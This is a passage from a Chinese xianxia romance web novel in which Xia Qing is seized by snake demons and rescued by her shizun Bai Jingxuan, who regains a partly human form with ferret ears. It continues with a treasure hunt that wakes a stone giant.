夏清熟练制服小雪貂,面无表情地认同柳菡云:“估计是给蛇妖吓傻了。” 柳菡云顿时对它心生怜悯,不再与它一般见识。 夏清一脸好奇:“白镜玄性格冷淡不懂风情你是从哪儿知道的?” 那女人明明很懂!长得又漂亮,举手投足颇具魅力,身后有那么几个小桃花再正常不过了。 不料,柳菡云却摊开手:“显而易见,我又不瞎,紫霄峰上谁不知道峰主修的是无情道,眼里只有剑没有情。” 夏清不可思议:“白镜玄修的是无情道?” 柳菡云比夏清更加震惊:“你居然直呼峰主的名讳……” “这不重要。”夏清若有所思地自言自语,“师姐说得对,这其中或许有什么误会。” 她说着话,怀里小雪貂凑过来,拱一拱夏清的手,明里暗里开始向夏清撒娇。 夏清于是抬起手腕,轻弹它的小鼻头。 它一个趔趄,摇摇晃晃地跌回夏清怀里。 夏清唇角勾起,皮笑肉不笑:“别以为这事儿这么简简单单就过了。” 白镜玄:“……” 一阵狂风忽然刮过,柳菡云没听清夏清说什么,扭头问她:“你刚才说了什么?” “没什么。”夏清抬头看了眼天色,岔开话题,“今夜月色好像格外地暗。” 柳菡云点点头:“确实,夜里视野不好,不适合赶路,反正已* 经离开荒城,我们找个地方暂时休憩,等天亮了再继续赶路吧。” 夏清对此没有异议。 两人就近寻了一处山洞,柳菡云在洞外值夜,夏清则抱着小雪貂在山洞中烤火。 趁着此时山洞中没有旁人,小雪貂趴在夏清怀里,毛茸茸的脑袋贴近夏清脸颊,小身子一扭一扭的,摆出一副撒娇的姿态,哼哼唧唧。 夏清保持坐姿没动,对它爱答不理。 见状,小雪貂再往前挪了诺,身子完全趴在夏清胸口,脑袋嵌进夏清脖颈间的空隙,像条围脖似的挂在夏清肩膀上。 夏清终于瞥它一眼:“你干嘛呢?” 许是夏清的态度过于冷淡,小雪貂大受打击,蔫了吧唧地从夏清身上滑下去。 见它如此,夏清稍微有那么一丁点儿心软。 可一想到南城领主说的那些话,她心里就堵得慌,给不了白镜玄好脸色。 白镜玄显然也知道夏清在为什么事情生气,可她没法开口说话,自然也不能解释。 这一系列反常举动,每一个都透着讨好的意思。 小雪貂心灰意冷,不敢再贴夏清,耷拉着耳朵在夏清手边趴下来。 夏清又悄悄睨它一眼,心说:这就放弃啦? 看来白镜玄对她的感情也没有多深嘛,多哄一下都不愿意。 夏清越想越气,真不明白自己跋山涉水去寻药究竟是为了什么。 这时,小雪貂身子突然一翻,露出柔软的肚皮。 它长尾一卷,抓着让夏清的手掌,让她的手搭在它的肚皮上。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 第四十一章 小雪貂肚皮上的毛毛极其柔软, 手感好得不可思议。 它为了讨好夏清,把自己的肚肚完全摊开,短短的手脚伸展开来, 任由夏清的手在它身上胡乱摸。 摸着摸着, 夏清心情好了许多。 至少没有先前那么郁闷。 她用力在小雪貂肚皮上抓了几把, 揉得小家伙肚皮发痒, 忍不住蜷起身子,夏清这才勉强罢手。 “算了, 暂且不跟你一般见识。”夏清如此说着,反手一捞将小雪貂搂回怀里,“待我去荒古遗迹找到奇兽替你解了毒, 真相如何自见分晓。” 她与白镜玄的关系本就微妙, 未来怎么样还不一定呢,哪有权力干涉白镜玄要招惹几朵桃花? 夏清劝说自己莫要多想,且走一步看一步。 白镜玄若当真是个性情风流的无情剑修, 她也可以很洒脱,说走就走。 夜深人静,夏清抱着小雪貂睡着了。 梦里灯红柳绿,一大群莺莺燕燕围绕白镜玄身旁, 紧接着,街上又传来敲锣打鼓之声,画面转向窗外,便见一队穿着喜庆的送亲队伍沿街走过, 白镜玄红衣白马,胸前戴着一朵大红花。 队伍后面, 迎面吹来的风掀起八抬大轿的门帘,城南领主红裙珠冠, 神色羞怯喜悦。 夏清自己则站在人群中,身后跟着一团黑雾。 黑雾中传出沙哑难听的声音:“去,你的任务是——毁掉白镜玄。” 夏清于是带着一大队魔族人手冲上街,拦路抢婚。 紫霄峰仙修与南城妖修联手抵挡魔族进攻,场面一度十分混乱。 三族大战,混乱之中,夏清被一道剑光击中。 持剑之人,正是白镜玄。 夏清:“!” 噩梦惊醒,夏清呼呼喘着粗气。 待情绪稳定下来,她抹了把脑门上的冷汗,感觉自己简直有病。 就很气,在她自己的梦里,她不是主角就算了,居然还是个炮灰反派! 她以为她已经想通了,不会介怀,谁知梦里却是这样的场景。 夏清呼出一口气,对自己恨铁不成钢。 低头一瞧,小雪貂睡得正香。 夏清很不高兴,反手就给它鼻头弹一下。 小雪貂倏地惊醒:“?!” 夏清扭开头,假装无事发生。 便在这时,山洞外忽然传来异响。 小雪貂比夏清更快做出反应,嗖地从夏清怀里跳下来,身子一蹿便至数步开外,探头探脑往山洞外瞧。 夏清起身,紧跟其后。 夜色很深,洞外漆黑一片,能见度特别低,打眼一看,连柳菡云的身影都瞧不见。 “师姐?”夏清试探着轻唤一声,等了片刻却无回应。 不好,有变! 夏清心里敲响警铃,捞起小雪貂就要后退。 可是,尽管她直觉反应已经很快,仍然慢了半步。 山洞外倏地甩来一条藤鞭,闪电般卷住夏清的脚脖子。 大力拉扯夏清脚踝,她脚底一空,整个人仰面翻倒,后脑勺尚未触地,身体便被藤鞭拉扯,飞上半空。 视野所及之处天旋地转,眼角余光瞥见一道被藤条死死束缚的人影。 可不正是柳菡云? 卷住夏清脚踝的藤条延伸出一股巨力,拉扯着夏清往远离山洞的方向飞驰。 适应了剧烈晃动之后,夏清艰难睁眼往下瞧,好家伙,拽着她飞奔的藤鞭竟是一条细长的蟒蛇。 蛇妖! 不止一条蛇妖! 山洞口被好几条蛇妖团团包围,柳菡云身上缠了两三条毒蛇,捆得她动弹不得。 夏清倒吸一口气,龇牙咧嘴。 她们出城前没有遭遇袭击,原来是在这儿等着她呢! 她扭了扭身体试图挣脱束缚。 蛇妖有所觉察,二话不说蛇尾一甩,拎着夏清就往旁边大石头上撞。 “!” 轰隆一声,夏清身体砸在巨岩上。 伴随哗啦声响,巨石崩碎,边缘出现一个类人形的缺口。 夏清被纷飞的碎石沙尘扑了满身,感觉后脑勺和肩膀有点疼,但也不太疼,晕更是不可能晕一点。 一个人类的身体有如此硬度也超乎了蛇妖预料,但它反应极快,撞石头不成,立马扯着夏清砸向地面。 又是嘭一声闷响,夏清面朝下将地面砸出一个人形大坑。 蛇尾一甩,夏清被拔萝卜似的从泥地中拔出来。 她扭了扭头,吐出嘴里猝不及防含入的一口黄泥,咳了半天才缓过劲来,怒不可遏:“快放开我!” 蛇妖震惊,如此撞击之下,夏清居然还能保持清醒。 能收服福生鼎,这个人类果然不简单! 蛇妖不顾夏清怒吼,拽着夏清继续远离山洞。 身后,柳菡云勉强从群蛇中挣开一个缺口,伸手拔下腰后玉扇,哗啦一声,玉扇展开,几道风刃凭空出现,唰唰将拦路毒蛇斩作几截。 “夏师妹!” 柳菡云远远看见夏清被蛇妖带走,正待去追,石缝中忽然蹿出一条毒蛇缠住她的脚踝。 这些蛇不知从哪里爬出来,杀死一条又来两条,越来越多,密密麻麻数不清数目。 满地毒蛇,不停往柳菡云身上爬,柳菡云自顾不暇,夜幕深深,她一眨眼就跟丢了夏清。 夏清被蛇妖卷着奔入荒山,沿途不断撞击路上的障碍物,几乎每一块凸起的巨石都被夏清撞裂,留下清晰的缺口。 这比坐过山车还要刺激,夏清强忍晕眩感,不愿坐以待毙。 她深吸一口气,绷紧腰腹,看准时机伸手拽住一棵树。 放眼四周只零零散散几棵树,夏清拽住的这棵有汤碗碗口那么粗,树下根茎深深扎根在泥土中,为夏清稳住身形提供了良好的借力点。 前行之势突然受阻,强烈的震击感让夏清产生自己浑身骨头都快散架的错觉。 好在飞快移动的势头终于停下。 脚踝被扯得生疼,夏清运转体内法力,用力收回双腿。 蛇妖没想到夏清还能反抗,自不愿让她得逞。 于是一边往前拉扯,一边往后回拽,场面僵持不下。 蛇妖张开巨口,尖锐的牙齿泛着寒光,凶狠而愤怒地咬向夏清的胳臂。 夏清不松手,就要被蛇妖咬伤。 电光石火之间,一道白影倏地蹿过来,跳上夏清肩膀。 小雪貂尾巴一甩,一圈法力的弧光如水波般洇开,击中蛇妖脸颊。 蛇妖脑袋被弧光荡开,与此同时,夏清肩膀猛地一痛。 竟是小雪貂毫无预兆地张嘴咬了她一口。 这一口咬得比往日哪一次都更加用力,尖利的牙齿刺进皮肉,带来锋利的撕扯感。 夏清嗷一声惨叫,疼得脸色发白。 被小雪貂咬过的地方像是形成一个黑洞,她体内的法力破开闸门,顷刻间如洪流般倾泻出去,消失一空。 力气被抽走,夏清双手霎时虚弱无力,再抱不稳怀里的树干。 蛇妖力量更胜一筹,夏清五指一点一点松开。 阵阵晕眩袭击了夏清,突如其来的变故让夏清感到不可置信。 白镜玄,为什么要这么做? 心头泛起这疑惑,她的双手彻底松开,再一次被蛇妖抛向高空。 便在此时,剑光乍现,一道白光如闪电般掠过天际,噗的一声穿透蛇妖颅骨。 蛇妖身体霎时一僵,似还没反应过来发生了什么。 紧接着,耀眼的剑光排成一片,形成七星大阵,接二连三攒射出去。 蛇妖竖瞳猛地一缩。 杀意扑面,它心中警铃大作,本能驱使欲抽身后撤。 可它的尾巴依然牢牢拽着夏清,不肯放过已经到手的猎物。 “找死!” 虚空中,一声断喝宛如雷鸣。 夏清心头一凛。 白镜玄? 没等她明白状况,飞射而来的剑光横穿虚空,从她眼前掠过。 肉眼无法捕捉它们移动的轨迹,只一刹那便追上蛇妖。 一道剑光斩断蛇尾,又一道剑光斩断蛇腰。 最后一道剑光,将蛇首从中劈开。 剑光来处,云开雾散,月光洒下来,照亮清冽的白衣。 夜风吹起白镜玄的衣摆,她的身姿悬在空中,宛如月上走下来的仙子。 夏清倏地睁大双眼,不可置信。 腰间蛇尾松脱,她被惯性力量推举着飞上高空,到达抛物线的顶端之后,又被重力拽着往下坠落。 渐增的坠落感撞击心脏,挤压胸腔,令夏清回过神来。 地面越来越近,目测最多两秒就要着陆。 已来不及调整身形,落地必然惨烈,夏清绝望地闭上双眼。 忽然,一股力量托起她的身子,如轻盈的风,亦或弹性十足的布帛,令她免于摔进大地的危机。 紫藤花香扑鼻而来,夏清闭着眼不敢睁开,心情惴惴,忐忑不安。 “已经没事了。”耳边,响起白镜玄低沉喑哑的语调。 夏清:“唔。” 她感觉到一双臂膀将她搂紧,属于白镜玄的体温隔着薄薄的衣裳渗过来。 因为触感真实,所以她才迷惑,混乱。 小雪貂突然冲上来咬了她一口,然后就变回了白镜玄。 白镜玄身上的毒难道就这样解了? 若如此轻易,她跋山涉水跑这一趟岂不白费工夫? 夏清正疑惑着,身前之人再次开口:“为什么不睁眼看我?” “……我在调整心情。”夏清闭着眼回答。 接连发生了太多事,内心实在太混乱了,她需要做一些些准备才能面对白镜玄。 末了,她清清嗓子,猛吸一口气,试探道:“你恢复人身了?” 白镜玄语气中带着两分迟疑:“……不算。” “嗯?”夏清顿时狐疑,好奇地睁开眼睛,“那是怎么回事?” 抬头,一张许久不见的绝色脸庞出现在夏清视野中,如瀑青丝垂落于白镜玄耳侧,与她眉目相映,仙气飘飘。 只不过,清冷美人脑袋上顶着一对圆圆的毛茸茸的耳朵。 夏清:“……噗。” 第42章 第四十二章 白镜玄长了兽耳朵诶。 夏清眼睛睁得圆溜溜的, 感觉很不可思议。 方才惊变带来的惊惧混乱霎时就被冲散,夏清视线被白镜玄头顶两只毛茸茸的耳朵吸引:“你的耳朵……” “只是暂时的。”白镜玄玉白面庞微微泛红,但月色朦胧, 夏清看得并不真切。 “这样哦。”夏清再瞥一眼。 手痒很想摸摸看, 可胳臂又酸又沉根本抬不起来。 夏清记忆回笼, 想起方才危机时刻被雪貂狠狠咬了一口, 顿时又再气上心头:“你刚才为何咬我?我肩膀上的骨头都快被你咬碎了。” 白镜玄垂眸,语气多少有几分忐忑:“……不会伤到骨头的。” 夏清听她这话抬了抬眼, 气哼哼地怼她:“这么说你还是选了位置故意咬的?” “我法力受限,不足以压制体内毒素,需借你之力才勉强化为人形。”白镜玄认真解释, “若非如此, 我就只能眼睁睁看着你被蛇妖掳去。” 或许她自己也为伤及夏清而愧疚,白镜玄说话时低眉垂眼,毛茸茸的耳朵耷拉下来, 清清寒寒的眉目间夹着两分沮丧,软声软语:“好清儿,你莫与我置气。” 嘶。 白镜玄长得美便罢了,她还会撒娇。 她撒娇就撒娇嘛, 还顶着两只圆圆的兽耳撒娇。 真的是要命。 夏清顿觉抓心挠肝,一边觉得自己不争气心太软,一边又觉得白镜玄这副样子稀世罕见,见到就是赚到。 “你先放我下来。”夏清撇开脸, 小声嘟囔,“去看看柳师姐怎么样了。” 白镜玄仍抱着夏清不撒手, 轻哼一声:“她的修为自保足以。” 夏清听得白镜玄语气有所变化,眨巴眨巴眼睛:“你对柳师姐很不满哦?” 从与柳菡云汇合起, 白镜玄的表现就一直怪怪的,老是凶人家,还动不动就咬手。 白镜玄视线飘开,眼神游移:“她经验不足,欠缺历练,帮不上你什么忙。” 好比今日值守,柳菡云没有发现蛇妖的动向,不仅没能提前示警,还被蛇妖围困,自顾无暇。 夏清问她:“这话你自己信吗?” 小动物撒谎的时候,耳朵是会趴下去的哦。 白镜玄:“……” 夏清眉梢轻轻一挑:“不说实话?” 白镜玄绷起脸,表情僵硬:“方才所言就是实话。” 还在硬撑。 行吧,就当是事实如此。 夏清也不跟她理论,只道:“柳师姐帮了我很多,我们同是紫霄峰弟子,在外自当互相帮助,师姐待我友善,愿与我结伴,还频频因我涉险,你不要为难她。” 为了打消白镜玄的顾虑,夏清一直在为柳菡云说话。 最后一句听来似带了两分埋怨,白镜玄很不高兴。 见白镜玄半晌不回应,绷着脸像谁欠了她八百万似的,夏清耐心渐渐消失:“你到底有没有把我的听进去?” 她已经好声好气地晓之以理,白镜玄还拗着不服软,到底谁是师尊谁是弟子? 堂堂仙尊处处与门中弟子作对,传出去也不怕被人笑话。 你修为高辈分高,我就得惯着你? 感受到夏清情绪变化,白镜玄低着头,良久才吐出一句:“……可今日,是我救了你。” 她轻蹙眉头,薄唇绷得紧紧的,秀丽好看的眼角也微微撇着,神态看似平静,却无端透出两分委屈。 夏清愣住,联想起白镜玄的恋爱脑属性。 啊……难不成,白镜玄在吃醋? 夏清顿时觉得好笑,嘴角没压住,轻轻颤了颤。 白镜玄恼了:“很好笑吗?” “不是。”见白镜玄生气,夏清愈发乐了,两眼弯弯,“你可是镜玄仙尊,堂堂紫霄峰第一剑尊,跟师姐比什么?” 白镜玄:“……” 她撇开脸,不与夏清对视。 这个动作像极了小雪貂生气的样子。 白镜玄的身影竟和小雪貂重合,夏清忽然找到了白镜玄和小雪貂的共性。 见白镜玄一个劲钻牛角尖,不说话也不搭理自己,夏清眼珠子一转,忽然双手环住白镜玄的脖子,凑近吧唧一口。 白镜玄玉白色的肌肤肉眼可见染上绯红,眼带诧异地看向夏清。 夏清好笑地刮了刮她的鼻子:“你我既是仙侣,自当最为亲近,又何须与旁人作比?” 白镜玄脑袋上冒出一小团热气,脸颊红红:“……嗯。” 如此娇羞可人,可还是人前清寒如霜的镜玄仙尊? 见状,夏清笑眼弯弯,话锋一转:“还有,别以为南城领主之事这么轻易就能揭过,我只是暂时不和你计较,等我证据确凿,看我饶不饶你!” 白镜玄:“……” 夏清说完,松开白镜玄,翻身从白镜玄怀里跳下来。 这时,远处传来柳菡云的呼唤:“夏师妹!” 未见其人,先闻其声,夏清循着声音来处望去,见坑坑洼洼的山路尽头缓缓显出一道人影来。 夏清抬手振臂:“柳师姐,我在这里!” 柳菡云闻声,立即加快脚步,不一会儿便来到近前。 见夏清无性命之忧,她这才放下心来:“夏师妹,你可无恙?方才那蛇妖去哪儿了?” 话音落下,柳菡云已看见不远处蛇妖的尸体,震惊道:“夏师妹斩杀了蛇妖?!” “啊,不是的,是……” 夏清嘴上说着,同时心头泛起疑惑:白镜玄这么大个活人,你是一点儿没看见呐? 话到一半,一个毛团团跳上她的肩膀。 “……”夏清,“是貂儿帮了我。” 柳菡云大为震撼:“貂儿?” 这小貂儿竟然能帮助夏清抵御蛇妖? “先前我真是小看你了。”柳菡云眉飞色舞,“没想到你这么厉害!” 小雪貂:“……” 见它待在夏清肩上不吵不闹,柳菡云得意忘形:“诶,你不咬人我都不习惯了。” 雪貂龇牙。 柳菡云嗖地退开好几步。 夏清翻了个白眼:“她难得心情好,你不要惹她。” 柳菡云抓了抓后脑勺,从善如流:“好嘞。” 危机解除,柳菡云看了眼地上巨蛇的尸体:“我们接下来怎么办?” 夏清体内法力被白镜玄吸纳一空,身体虚弱,若不是稍微休息了一会儿,她站都站不稳,更遑论立即迁移。 她想了想说:“蛇妖应该也有内丹,我先取来内丹炼化吸收,待体力恢复一些,我们再赶路。” 柳菡云没有异议,点头:“行。” 夏清遂走到蛇妖尸体旁边,弯腰检查。 大蛇被白镜玄斩断成好几截,夏清借着月光仔细观察,感觉蛇身纹理与她先前见过的有所不同。 “这条蛇妖不是绮琴。”夏清判断道。 她见过绮琴的原形,跟眼前这条蛇妖颜色虽然相近,但花纹并不相同。 柳菡云走近观察:“那边山洞口还有好几条这种类似的蛇。” 夏清点点头,心说这也合理。 绮琴是个大蛇妖,举手投足都有人盯着,南城领主方才敲打过她不允许她放肆,她没有合理的理由,想必轻易出不了城。 蛇身光滑的鳞片入手冰冰凉凉,夏清感觉身上鸡皮疙瘩都起来了。 寻着寻着,她忽然感觉手心发烫。 是她掌心中的福生鼎有了感应。 夏清心念微动,寻着心中那丝若有若无的感受找过去,在一截碎烂的蛇身中找到一枚乌青的蛇胆。 这蛇胆被夏清手掌一碰,立即化作一道青光,被她掌心的小鼎一口吞了去。 夏清:“?!” 她迅速翻开手掌,便见掌心小鼎亮着暗青色的光芒。 光芒闪烁大概半分钟,原本简笔画似的小鼎上多了一些细小的花纹,看起来比先前精致一些。 夏清将柳菡云唤到身边,问她:“这是怎么回事?” 柳菡云探头一瞧,解释道:“福生鼎吞噬了蛇胆,炼化吸收,修复残损,品阶也因此有所提升。” 听她说完,夏清总结道:“它进化了?” 柳菡云思量须臾,点点头:“大概是这个意思吧。” 福生鼎的品质有所提升,一丝能量气息从福生鼎反馈给夏清,夏清感觉自己的体力也略微恢复了些,没有刚才那么虚弱了。 “吃蛇胆就有用?”夏清琢磨着,“这可比我自己修炼好使多了。” 言罢,她迅速从大蛇的尸体中捡起内丹,起身拽住柳菡云,朝来时山洞快步走去:“洞口还有几条蛇,多好的战利品,走,咱们去舔包,不舔白不舔。” 柳菡云没来得及问夏清“舔包”是什么意思,就被夏清强行拖着回到山洞口。 这一次,不等靠近蛇妖尸体,夏清手掌上的小鼎便有所感应,散发出强烈的渴求意愿。 “这小东西还挺聪明。”夏清挨个蛇尸捡过去,内丹自己收着,蛇丹则交给福生鼎一口一个。 总共七条大蛇,最后一条大蛇的蛇胆是小雪貂取来的,它找着机会就向夏清献殷勤,夏清照单全收。 七枚蛇胆全被福生鼎吞噬炼化,最后一枚蛇胆炼化吸收之后,小鼎又一次亮起暗青色光芒。 夏清见状,仔细盯着不放。 过去没多久,果然看见小鼎上又增添了一些花纹。 柳菡云拍拍手:“三阶!” 夏清问她:“三阶的福生鼎,有什么用?” “这个嘛……” 没等柳菡云话说完,便见福生鼎又一次亮起来。 这一回,鼎身光芒愈发耀眼,右上角一小块一明一灭飞快闪烁。 “有感应!”柳菡云面露喜色,“福生鼎能感应到方圆十里之内的天材地宝,鼎的品阶越高,能感应的宝贝也就越好。” 夏清两只眼睛倏地瞪大:“这么说……” 柳菡云接话:“这附近还有宝贝!” 第43章 第四十三章 夏清看看柳菡云, 再看看掌心的福生鼎花纹,心里冒出一个想法:我这是拿了主角剧本,开挂了? 如果没有她的干预, 原本这福生鼎应该落入柳菡云手中, 那么此刻得到宝贝助力, 未来修炼一日千里的人就应该是柳菡云。 夏清握紧拳头, 手指触碰掌心的福生鼎,心中惴惴。 她在这个故事中的角色原本只是个炮灰反派, 阴差阳错抢了柳菡云的戏份,让夏清心头产生“德不配位”的亏心感。 倘若柳菡云是个自私自利阴险狡诈的人倒也罢了,可她偏偏又阳光开朗, 友好和善。 因此, 得到福生鼎助益,夏清心头却不是滋味。 她改动剧情看似只是一件小事,可蝴蝶翅膀一震, 还能在蓝星另一个半球掀起风暴,对柳菡云未来的发展会不会造成影响? 没等夏清理清心中疑惑,柳菡云拍拍她的肩膀:“愣着干什么,快炼化妖丹, 待会儿我们去寻宝!” 肩膀上小雪貂也朝夏清探头,眼神中带着几许探究。 夏清回过神来,压下复杂心情,不再东想西想。 她本来也不是一个过于纠结的人, 向来随心随意,随遇而安, 在哪里跌倒就在哪里睡一觉。 之所以心觉亏欠,只是因为这件事影响的并非独独只有她自己, 而是牵连了柳菡云。 但既成之事已无法改变,便只能通过别的方式予以补偿。 夏清心中悄悄记下一笔账,哪怕此事无人知晓,有头上三尺青天作证,她心自知。 “好。”夏清点头答应。 遂与柳菡云一同离开事发地点,到稍远些的地方,寻了一处有遮挡的隐蔽场所,开始打坐,炼化蛇妖内丹。 这个过程持续了两个时辰,待内丹完全炼化,化为法力存入丹田,夏清睁开眼,外头天色已然大亮。 天亮了更方便找宝贝,夏清拍拍手站起来,心情也已完全调整好了。 手掌上福生鼎的纹路还在闪烁,右上角那一块亮起来,约摸两秒后熄灭,过两秒又亮一下。 “这是什么意思?”夏清好奇,遇到问题就问柳菡云。 柳菡云抄起手来单手托腮,思量了好一会儿,然后摇头:“不明白。” 夏清:“……” 算了,求人不如求己。 夏清仔细看了看小鼎闪烁的位置,脑海中将手掌勾勒成一张太极图,那么右上角的位置就是坤卦。 坤为西南。 夏清根据太阳升起的方向辨别方位,招呼柳菡云跟她来。 柳菡云对夏清寻物的本领向来有信心,立即跟上夏清的脚步。 越往西南方向走,大地越荒芜。 她们刚从荒城出来时,四周还有一些零零散散的植被,现下眼前全是茫茫荒土,柳菡云用手遮挡在额前,疑惑:“这里当真有宝贝?该不是弄错了吧?” 夏清沉默,不时确认掌间小鼎的状态。 距离她们离开初始位置,到现在应该已经走了有数里之远。 夏清试探着继续往前,忽然,掌心小鼎闪烁的位置发生改变。 从右上角一块,变成正上方,每当它亮起来,鼎口的位置便出现一个缺。 夏清眯眼,心说周易卜术在此方世界也能应用,那么按照八卦模型所推算的方位,应该就是宝物所在的方位。 小鼎上闪烁的状态从右上角转移到正上方,也切合了夏清的猜想。 夏清再次招呼柳菡云:“往这边走。” 她朝正南方向又行数百步,忽然鼎上闪烁的一小块补上缺口,那小鼎完整发光,不再闪烁。 “就是这里。”夏清断言。 柳菡云从旁探了脑袋过来:“哪儿呢?” 夏清脚下只有一片光秃秃的沙地,顶多再有一些乱石,不见任何他物,更遑论天材地宝。 夏清:“……” 事实上,夏清自己也没有头绪。 但按照理论来看,应该就是在这个位置没错。 她原地站定,左顾右盼。 “说不定是藏在什么不起眼的地方。”夏清喃喃自语,“此地视野这般开阔,如果此宝如此容易被人发现,又怎么会等到我们来寻?” 柳菡云细想夏清所言,竟觉有理。 “那就再找找看。”柳菡云跟着夏清一起左走走,右走走。 但她们绕着这方寸土地转了几圈,地皮都快踩烂了,探宝事业依然毫无进展。 便在这时,小雪貂尾巴一甩,从夏清肩头跳下去。 夏清拦它没有拦住,只一眨眼,那小家伙便飞蹿到几步开外,小爪子疯狂刨地。 等夏清追上它,它已将身前地面刨出一个碗口大的坑。 见状,夏清福至心灵,意会小雪貂此举含义:“你的意思是,在地底下?” 柳菡云倏地又冒个脑袋过来,惊讶又惊喜:“对啊,我们怎么没有想到,师妹,你养的这貂儿不仅厉害,还聪明,竟这般通人性!” 夏清瞄眼小雪貂,果见其面色不虞,心下顿时觉得好笑。 不知道柳菡云有没有机会见识白镜玄掉马,若她知道这可爱聪明还厉害的貂儿就是白镜玄,不知脸上表情该如何精彩。 “卿卿,别忙活了,交给我们吧。”夏清将小貂儿拦腰抱起,爱抚地摸了摸它的脑袋。 对于夏清任何亲昵举动,小雪貂都很是受用。 夏清既不用她帮忙,她也乐得清闲,两条短短的小腿轻轻一蹬,便跳上夏清肩膀,趴着静观事件进展。 柳菡云摸出自己的玉扇,掐诀施法,唰唰几道风刃凭空出现,将地皮轻而易举地掀起来一层。 数寸地皮剥落,底下未见异常,柳菡云便再掐一个诀,又一道风刃斩过,将凹陷下去的地皮再削掉一层。 如此重复到第三下,忽然叮的一声轻响,风刃砸到什么。 其声虽小,夏清和柳菡云都听得真切,顿时两眼闪烁精光:“真有东西!” 柳菡云挥动玉扇,大风吹散地上的沙尘,不一会儿,藏在地底的宝贝渐渐露出真容。 那是一朵金灿灿的蘑菇。 这蘑菇乍一看像由纯金锻铸而成,表面光滑莹亮,透着几分金属质感,伞面竟然有碗口那么大。 夏清看一眼金蘑菇,又瞧一眼柳菡云,问她:“这是什么宝贝?” “金菇。”柳菡云回答。 夏清:“……” 好冷的笑话。 夏清又问:“就这样直接把它挖出来吗?” 柳菡云琢磨着:“应该是吧?” 这几个字的语气让夏清觉得很不靠谱。 不过,她还有外援。 遂扭头看向趴在她肩膀上的小雪貂:“卿卿,你说这金菇当如何采摘?” 小雪貂伸出爪爪,指了指夏清的右手,再指一指地上的菇。 柳菡云见状,哈哈笑开:“我就说嘛,直接摘下来就行了!” 言罢,她弯下腰去,双手抓住金菇伞面两边,试探着用力将它往外拔。 用一成力,金菇一动不动。 用三成力,金菇还是一动不动。 用七成力,金菇伞面晃了晃,底下爆开几条龟裂。 再然后,大地毫无预兆地剧烈晃动起来。 夏清和柳菡云:“?!” “你赶紧松手!”夏清阻止柳菡云。 但已经来不及了。 柳菡云赌了把大的,倾尽浑身力气,用力将金菇从坑底拔出来。 嘭—— 大地剧烈震动,龟裂越来越多。 柳菡云双手抱着金菇蹬蹬蹬往后退,脚后跟被凸起的石头绊了一下,一屁股坐在地上。 可亏她身体素质好才没有受伤,但地面被她坐出一个寸许深的坑。 金菇被摘,那小坑四周裂缝还在扩散,坑底往上冒出一个包,似有什么东西要从地底跑出来。 柳菡云扭头看向夏清,同时也看到她肩上的小雪貂。 “啊……”她恍惚意识到自己的问题,脸色尴尬,语气心虚,“会不会……小貂儿的意思是让你用福生鼎炼化金菇?” 夏清:“……” 所以,柳菡云不安章法乱来的后果是? 轰—— 一声闷响,大地爆裂开来,一只石头凝练堆积而成的大手从沙地底下钻出来。 大手五指弯曲攀住裂缝边缘,只稍稍用力,大地上便不断爆开崭新的裂纹。 地面震得越来越厉害,手掌宽的裂缝都已延伸到夏清脚边。 不多时,三丈高的石头巨人从裂开的地缝中爬出来。 夏清和柳菡云哪儿见过这阵仗,两人皆是一脸懵逼,傻不愣登原地站着,直到头顶坠下一片黑暗。 小山似的石头巨人,站起来如一面山壁,将正午最炽热明亮的日光遮挡得严严实实。 巨人大手摊开,猛地朝面* 前蝼蚁大的小人儿按下一个巴掌。 “……”夏清终于回神,“卧槽,五指山!” 她一把抓过还在继续发呆的柳菡云。 “跑啊!” 第44章 第四十四章 夏清拽住柳菡云拔腿就跑。 下一瞬, 轰隆一声巨响,狂风从她们身后怒卷过来,掀起铺天盖地的沙尘。 夏清感觉自己后背被枪林弹雨击中, 数不清的石子噼里啪啦砸在她身上。 好在这些石头硬度对比她的身体还是差了些, 没能打穿她肉身的防御, 对她造成实质性的伤害。 真正的杀伤力来自呼啸的狂风。 狂风拍打她们的后背, 像一把巨大的扇子推着她们往前。 柳菡云双脚离地,夏清失去平衡, 她们一个跳起来飞了几步远,另一个摔倒在地跌了好几个跟头。 “咳!”柳菡云落地呛了一大口泥沙,艰难道, “师妹, 此地古怪,法术竟无法施展!” 她刚刚掐诀念咒,尝试施展腾云术, 心说飞起来肯定比跑的快。 结果失败了。 夏清翻了几个跟头,好不容易才稳住身形。 小雪貂从她肩膀上掉下来,被风吹到数丈之外。 听闻柳菡云此言,夏清没时间回答, 因为大地震动频率加快。 身后,巨人缓缓抬起手掌,朝夏清二人追来。 它每向前走一步,相当于柳菡云和夏清跑上十几步。 夏清手脚并用朝前猛冲, 一把捞起小雪貂,两条腿马力全开, 甩得像风火轮,追赶柳菡云。 “这样下去迟早被追上, 师姐你快想想办法!” 无法使用法术,对局势而言无异于雪上加霜。 “在想了在想了。”柳菡云也拼命狂奔。 奈何身后石头巨人手长腿长,追上她们太容易,不多时,又一阵狂风吹来。 此番夏清二人已有经验,不与狂风对抗,干脆顺着风势朝前猛跳,落地一个驴打滚,反倒与那石巨人拉开了一些距离。 跑了一阵,柳菡云不知想到什么,忽然驻足,抽出腰间玉扇,反手一扇。 玉扇也吹起一阵风,片片风刀拔地而起,撕裂大地,朝着那石头巨人飞扑而去。 嗡—— 风刃劈中巨人一只大脚掌,那条腿霎时四分五裂,石巨人因此身子一歪,向一旁倾倒。 柳菡云见状,面露喜色:“法术无法施展,但法宝还可以使用!” 但她话音刚刚落下,那石头巨人便双手撑地挣扎着站起来。 满地碎石如同被磁铁吸引的铁屑,疯狂向断腿之处汇聚,不一会儿,它碎裂的小腿和脚掌又恢复如初。 “忒,还能自愈!看姑奶奶不把你大卸八块!” 言罢,柳菡云不等夏清回答便持着玉扇就冲向石头巨人,要与它杀个你死我活。 夏清没有立即上前,一来她修为低,帮不上柳菡云什么忙,而来她赤手空拳,并无趁手的法宝…… 诶,等等,谁说她没有法宝? 她翻开手掌,露出掌心小鼎的花纹。 福生鼎。 夏清脑子转了转,有主意了。 “师姐!你掩护我!”夏清调头冲向石头巨人,“我有应对之法了!” 途中还叮嘱小貂儿:“你可抓紧我,别被风吹下去了!” 她若要专心对付石头巨人,必是没有功夫再分心注意白镜玄的动向。 因此,白镜玄只能自己注意安危。 柳菡云看眼夏清。 夏师妹能杀螳螂怪,能斩蟒蛇妖,对夏清无法修炼的固有印象早被柳菡云抛之脑后。 “师妹小心!”柳菡云出声提醒。 随后便用玉扇制造风墙,护送夏清通向石头巨人。 石头巨人断腿修复,脾性比方才愈发暴烈。 